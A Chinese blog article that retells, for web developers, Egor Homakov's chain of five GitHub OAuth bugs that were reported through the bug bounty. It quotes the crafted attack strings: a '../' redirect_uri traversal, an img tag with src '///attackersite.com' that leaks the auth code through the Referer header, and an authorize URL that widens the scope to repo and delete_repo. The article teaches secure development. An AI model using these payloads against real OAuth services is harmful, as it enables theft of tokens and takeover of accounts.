從“黑掉Github”學(xué)Web安全開發(fā)
Egor Homakov（Twitter: @homakov 個(gè)人網(wǎng)站: EgorHomakov.com）是一個(gè)Web安全的布道士，他這兩天把github給黑了，并給github報(bào)了5個(gè)安全方面的bug，他在他的這篇blog——《How I hacked Github again》（墻）說明了這5個(gè)安全bug以及他把github黑掉的思路。Egor的這篇文章講得比較簡(jiǎn)單，很多地方一筆帶過，所以，我在這里用我的語言給大家闡述一下黑掉Github的思路以及原文中所提到的那5個(gè)bug。希望這篇文章能讓從事Web開發(fā)的同學(xué)們警惕。關(guān)于Web開發(fā)中的安全事項(xiàng)，大家可以看看這篇文章《Web開發(fā)中的你需要了解的東西》
OAuth簡(jiǎn)介
首先，這個(gè)故事要從Github OAuth講起。所以，我們需要先知道什么是OAuth。 所謂OAuth就是說，第三方的應(yīng)用可以通過你的授權(quán)而不用知道你的帳號(hào)密碼能夠訪問你在某網(wǎng)站的你自己的數(shù)據(jù)或功能。像Google, Facebook, Twitter等網(wǎng)站都提供了OAuth服務(wù)，提供OAuth服務(wù)的網(wǎng)站一般都有很多開放的API，第三方應(yīng)用會(huì)調(diào)用這些API來開發(fā)他們的應(yīng)用以讓用戶 擁有更多的功能，但是，當(dāng)用戶在使用這些第三方應(yīng)用的時(shí)候，這些第三方的應(yīng)用會(huì)來訪問用戶的帳戶內(nèi)的功能和數(shù)據(jù)，所以，當(dāng)?shù)谌龖?yīng)用要干這些事的時(shí)候，我們 不能讓第三方應(yīng)用彈出一個(gè)對(duì)話框來問用戶要他的帳號(hào)密碼，不然第三方的應(yīng)用就把用戶的密碼給獲取了，所以，OAuth協(xié)議會(huì)跳轉(zhuǎn)到一個(gè)頁面，讓用戶授權(quán)給 這個(gè)第三方應(yīng)用以某些權(quán)限，然后，這個(gè)權(quán)限授權(quán)的記錄保存在Google/Facebook/Twitter上，并向第三方應(yīng)用返回一個(gè)授權(quán)token， 于是第三方的應(yīng)用通過這個(gè)token來操作某用戶帳號(hào)的功能和數(shù)據(jù)時(shí)，就暢通無阻了。下圖簡(jiǎn)單地說明了Twitter的OAuth的授權(quán)過程。
從上面的流程圖中，我們可以看OAuth不管是1.0還是2.0版本都是一個(gè)比較復(fù)雜的協(xié)議，所以，在Server端要把OAuth實(shí)現(xiàn)對(duì)并不是一些容易事，其總是或多或少會(huì)有些小錯(cuò)誤。Egor就找到了幾個(gè)Github的OAuth的實(shí)現(xiàn)的問題。
OAuth的Callback
還需要注意的是，因?yàn)镺Auth是需要跳到主站的網(wǎng)頁上去讓用戶授權(quán)，當(dāng)用戶授權(quán)完后，需要跳轉(zhuǎn)回原網(wǎng)頁，所以，一般來說，OAuth授權(quán)頁都會(huì)帶 一個(gè) redirect_url的參數(shù)，用于指定跳轉(zhuǎn)回原來的網(wǎng)頁。Github使用的這個(gè)跳轉(zhuǎn)參數(shù)是redirect_uri參數(shù)。一般來 說，redirect_uri這個(gè)參數(shù)需要在服務(wù)器端進(jìn)行驗(yàn)證。
你想一下，如果有人可以控制這個(gè)redirect_uri這個(gè)參數(shù)，那么，你就可以讓其跳轉(zhuǎn)到別的網(wǎng)頁上（可能會(huì)是個(gè)有惡意的網(wǎng)頁）。如果你覺得跳 轉(zhuǎn)到別的網(wǎng)頁上也無所謂，那么你就錯(cuò)了。別忘了，當(dāng)你對(duì)這個(gè)第三方的應(yīng)用授權(quán)通過后，服務(wù)方會(huì)給第三方應(yīng)用返回一個(gè)授權(quán)token，這個(gè)token會(huì)被加 到那個(gè)redirect_uri參數(shù)后面然后跳轉(zhuǎn)回去，如果這個(gè)redirect_uri被別有用心的人改一個(gè)惡意的網(wǎng)址后，這個(gè)token也就被轉(zhuǎn)過去 了，于是授權(quán)token也就被泄漏過去了。
知道了這一切，我們就可以理解Egor提的那5個(gè)bug是什么意思了。
***個(gè)Bug — 沒有檢查重定向URL中的/../
首先，我們通過Github的 redirect_uri 的說明文檔我們可以看到這樣的說明：
- 如果 CALLBACK URL是: http://example.com/path
- GOOD: https://example.com/path
- GOOD: http://example.com/path/subdir/other
- BAD: http://example.com/bar
- BAD: http://example.com/
- BAD: http://example.com:8080/path
- BAD: http://oauth.example.com:8080/path
- BAD: http://example.org
而Github對(duì)于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是說，域名是gist.github.com，目錄 是/auth/github/callback/，服務(wù)器端做了這個(gè)限制，看似很安全了。
但是，Egor發(fā)現(xiàn)，Github的服務(wù)器端并沒有驗(yàn)證.. /../../這樣的情況。
于是，Egor相當(dāng)于構(gòu)造了一個(gè)下面這樣的Redirect URL：
| https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE |
于是上面的URL就相當(dāng)于：
| https://gist.github.com/homakov/8820324?code=CODE |
你可以看到，認(rèn)證后的跳轉(zhuǎn)網(wǎng)頁轉(zhuǎn)到了別的地方去（并非是github限制的地方）——我們知道Github的gist雖然是給你分享代碼片段的，但是也可以用來定制自己的東西的（比如markdown），這個(gè)gist的網(wǎng)頁當(dāng)然是被Egor所控制的。
#p#
第二個(gè)BUG — 沒有校驗(yàn)token
***個(gè)bug其實(shí)并沒有什么，如果服務(wù)器端要校驗(yàn)一下token是否和之前生成的token的redirect_uri一模一樣，只要服務(wù)器做了這個(gè)驗(yàn)證，***個(gè)bug完全沒有什么用處，但是，github的服務(wù)端并沒有驗(yàn)證。
這就是第二個(gè)bug，于是***個(gè)和第二個(gè)bug組合起來成了一個(gè)相當(dāng)有威力的安全漏洞。
也就是說，token的生成要考慮redirect_uri，這樣，當(dāng)URL跳轉(zhuǎn)的時(shí)候，會(huì)把redirect_uri和token帶到跳轉(zhuǎn)頁面 （這里的跳轉(zhuǎn)頁面還是github自己的），跳轉(zhuǎn)頁面的服務(wù)端程序要用redirect_uri來生成一個(gè)token，看看是不是和傳來的token是一 個(gè)樣的。這就是所謂的對(duì)URL進(jìn)行簽名——以保證URL的不被人篡改。一般來說，對(duì)URL簽名和對(duì)簽名驗(yàn)證的因子包括，源IP，服務(wù)器時(shí)間 截，session，或是再加個(gè)salt什么的。
第三個(gè)BUG — 注入跨站圖片
現(xiàn)在，redirect_uri帶著code，安全順利地跳到了Egor構(gòu)造的網(wǎng)頁上：
- https://gist.github.com/homakov/8820324?code=CODE
但是，這個(gè)是gist的網(wǎng)頁，你無法在這個(gè)頁面上運(yùn)行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），現(xiàn)在的問題是我們?cè)趺吹玫侥莻€(gè)code，因?yàn)槟莻€(gè)code雖然后帶到了我的網(wǎng)頁上來，但那個(gè)網(wǎng)頁還是github和用戶自己的環(huán)境。
到這里，一般來說，黑客會(huì)在這個(gè)頁面上放一個(gè)諸如下面的一個(gè)鏈接，來引誘用戶點(diǎn)擊，：
<a href=http://hack.you.com/>私人照片</a>
這樣，當(dāng)頁面跳轉(zhuǎn)到黑客的網(wǎng)站上來后，你之前的網(wǎng)頁上的網(wǎng)址會(huì)被加在http頭里的 Refere 參數(shù)里，這樣，我就可以得到你的token了。
但是，在gist上放個(gè)鏈接還要用戶去點(diǎn)一下，這個(gè)太影響“用戶體驗(yàn)”了，***能嵌入點(diǎn)外部的東西。gist上可以嵌入外站的圖片，但是github的開發(fā)人員并非等閑之輩，對(duì)于外站的圖片，其統(tǒng)統(tǒng)會(huì)把這些圖片的url代理成github自己的url，所以，你很難搞定。
不過，我們可以用一個(gè)很詭異的技巧：
- <img src=”///attackersite.com”>
這個(gè)是什么玩意？這個(gè)是個(gè)URL的相對(duì)路徑。但是為什么會(huì)有三個(gè)///呢？呵呵。
像程序員一樣的思考
這個(gè)時(shí)候，我們需要以“程序員的編程思維”來思考問題——如果你是程序員，你會(huì)怎么寫校驗(yàn)URL的程序？你一定會(huì)想到使用正則表達(dá)式，或是用程序來匹配URL中的一些pattern。于是，
- 對(duì)于絕對(duì)路徑：你會(huì)匹配兩個(gè)//，后面的可能會(huì)是 user@host.com（user@是可選的），然后可能會(huì)有:<n>端口號(hào)，然后是/，后面是服務(wù)器的路徑，再往后面應(yīng)該是?后面帶一些參數(shù)了。
- 對(duì)于相對(duì)路徑：就沒有絕對(duì)路徑那么復(fù)雜了。就是些 .. 和 /再加上?和一些參數(shù)。
好了，如果coolshell.cn網(wǎng)頁中的<img src=>或<a href=>中用到的相對(duì)路徑是 /host.com，那么瀏覽器會(huì)解釋成：http://coolshell.cn/host.com，如果是///host.com，那么就應(yīng)該被瀏覽 器解釋成 http://coolshell.cn///host.com。
但是，Chrome和Firefox，會(huì)把///host.com當(dāng)成絕對(duì)路徑，因?yàn)槠湔_匹配了絕對(duì)路徑的scheme。如果你正在用Chrome/Firefox看這篇文章 ，你可以看看下面的連接（源碼如下）：
- <a href="///www.google.com">CoolShell Test</a>
關(guān)鍵是，這個(gè)Chrome/Firefox的問題被標(biāo)記成了Won’t Fix，我勒個(gè)去，基本上來說，后臺(tái)的程序也有可能有這樣的問題，對(duì)于Perl，Python，Ruby，Node.js，PHP帶的URL檢查的函數(shù)庫都有這樣的問題。
于是，我們就可以使用這樣的方式給gist注入了一個(gè)第三方站點(diǎn)的圖片（github的服務(wù)端沒有察覺到（因?yàn)槲覀兦懊嬲f過大多數(shù)語言的URL檢查 庫都會(huì)被 Bypass了），但是瀏覽器端把這個(gè)鏈接解釋到了第三方的站點(diǎn)上），于是請(qǐng)求這個(gè)圖片的http頭中的refere 中包含用戶當(dāng)前頁面的URL，也包含了用戶授權(quán)的code。
到這里，黑客Egor已經(jīng)拿到用戶gist的權(quán)限并可以修改或查看用戶私用的gist了。但是作者并沒有滿足，他想要的更多。
第四個(gè)bug – Gist把github_token放在了cookie里
于是Egor在用戶的cookie里找到了 github_token
但是這個(gè)token沒什么用，因?yàn)槭跈?quán)的Scope只有g(shù)ists。但是，這個(gè)token不應(yīng)該放在用戶端的cookie里，本身就是一個(gè)安全事故，這個(gè)東西只能放在服務(wù)端（關(guān)于Web開發(fā)中的安全事項(xiàng)，可以看看這篇文章《Web開發(fā)中的你需要了解的東西》）。
于是，Egor只能另謀出路。
第五個(gè)Bug – 自動(dòng)給gist授權(quán)
因?yàn)間ist是github自家的，Egor所以估計(jì)github想做得簡(jiǎn)單一點(diǎn)，當(dāng)用戶訪問gist的時(shí)候，不會(huì)出彈出一個(gè)OAuth的頁面來讓 用戶授權(quán)，不然，用戶就會(huì)很詫異，都是你們自家的東西，還要授權(quán)？所以，Egor猜測(cè)github應(yīng)該是對(duì)gist做了自動(dòng)授權(quán)，于是，Egor搞了這樣 的一個(gè)URL（注意其中的 redirect_uri中的scope ）
| https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications |
于是，這個(gè)redirect-uri不但幫黑客拿到了訪問gist的token，而且還把授權(quán)token的scope擴(kuò)大到了用戶的代碼庫等其它權(quán)限。于是你就可以黑入用戶的私有代碼區(qū)了。
#p#
其它 & 感想
于是，作者從 Github Security Bug Bounty 拿 到了USD $4,000的獎(jiǎng)勵(lì)！Egor一共花了從下午2點(diǎn)到6點(diǎn)一共4個(gè)小時(shí)找到了這些Bug，平均一小時(shí)1000美刀。Egor還很得瑟的說，如果Github 請(qǐng)他做安全顧問，他只收一小時(shí)USD $400刀，這4個(gè)小時(shí)也就$1,600。呵呵。大家看看，這是多么有效率的賺錢方式。
下圖是Github上的賞金獵手的排行榜（https://bounty.github.com/index.html#leaderboard）你可以上去挨個(gè)看看他們找到的問題，你會(huì)發(fā)現(xiàn)好些安全問題都很小，有些只能說是不是很規(guī)范的問題，Github都賞了幾百刀。我查看了一下github的賞金政策，github賞金至少100刀，到5000刀不等。
讓我們捫心自問一下，我們花了多少時(shí)間在玩那些“紅包游戲”，而又搞到了多少紅包？人家4個(gè)小時(shí)找了5個(gè)bug，掙了$4000美金。老天給了你我一樣的時(shí)間，我們用來抽幾塊錢的紅包，人家用自己的技能來掙獎(jiǎng)金。這就是人和人的差距。這就是所謂的效率——你可以移步看看我寫的《加班與效率》
